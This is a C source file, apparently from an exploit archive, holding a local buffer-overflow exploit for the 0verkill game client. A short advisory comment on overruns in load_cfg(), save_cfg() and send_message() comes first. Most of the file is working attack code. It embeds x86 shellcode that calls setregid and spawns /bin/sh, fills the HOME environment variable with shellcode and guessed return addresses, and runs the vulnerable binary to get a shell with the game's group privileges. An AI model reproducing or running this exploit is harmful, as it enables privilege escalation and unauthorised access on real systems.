127 lines
No EOL
3.1 KiB
C
127 lines
No EOL
3.1 KiB
C
// source: https://www.securityfocus.com/bid/9550/info
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// The 0verkill game client has been reported prone to multiple instances of exploitable buffer overrun vulnerabilities. The functions that have been reported to be affected are load_cfg(), save_cfg() and send_message(). It has been reported that due to a lack of sufficient boundary checks performed on user supplied data, an attacker may exploit the issues to execute arbitrary instructions in the security context of the Overkill game client.
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/*
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* Simple local exploit for 0verkill by pi3 (pi3ki31ny)
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* Greetz: [greetz on my web] && other my friends (you know who you are)
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*
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* ...::: -=[ www.pi3.int.pl ]=- :::...
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <getopt.h>
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#define PATH "./0verkill"
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#define BUFS 300
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/* ...::: -=[ www.pi3.int.pl ]=- :::... */
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char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68
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\x3a"
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"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20
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\x5d"
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"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69
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\x68"
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"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68
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\x3a\x3a"
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"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04
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\xcd"
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"\x80"
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/* setregid (20,20) */
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"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0
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\x47"
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"\xcd\x80"
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/* exec /bin/sh */
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"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
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\x69"
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"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
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\x0b\xcd"
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"\x80"
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/* exit(0) */
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"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
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long ret_ad(char *a1, char *a2) {
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return (0xbffffffa-strlen(a1)-strlen(a2));
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}
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int ussage(char *arg) {
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printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]
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=- :::...\n");
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printf("\n\tUssage:\n\t[+] %s [options]\n
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-? <this help screen>
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-o <offset>
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-p PATH\n\n",arg);
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exit(-1);
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}
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int main(int argc, char *argv[]) {
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long ret,*buf_addr;
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char *buf,*path=PATH;
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int i,opt,offset=0;
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FILE *fp;
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while((opt = getopt(argc,argv,"p:o:?")) != -1) {
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switch(opt) {
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case 'o':
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offset=atoi(optarg);
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break;
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case 'p':
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path=optarg;
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break;
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case '?':
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default:
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ussage(argv[0]);
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break;
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}
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}
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if ( (fp=fopen(path,"r"))==NULL) {
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printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
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ussage(argv[0]);
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} fclose(fp);
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if (!(buf=(char*)malloc(BUFS))) {
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printf("\nI can\'t locate memory! - buf\n");
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exit(-1);
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}
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printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]=- :::...\n");
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printf("\n\t[+] Bulding buffors!\n");
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ret=ret_ad(shellcode,path);
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ret+=offset;
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printf("\t[+] Using adres 0x%x\n",ret);
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buf_addr=(long*)buf;
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for(i=0;i<BUFS;i+=4) {
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*(buf_addr) = ret; buf_addr++;
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}
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memcpy(buf, shellcode, strlen(shellcode));
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printf("\nExecuting the vuln program - %s\n\n",path);
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setenv("HOME", buf, 1);
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execl(path,path, 0);
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return 0;
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} |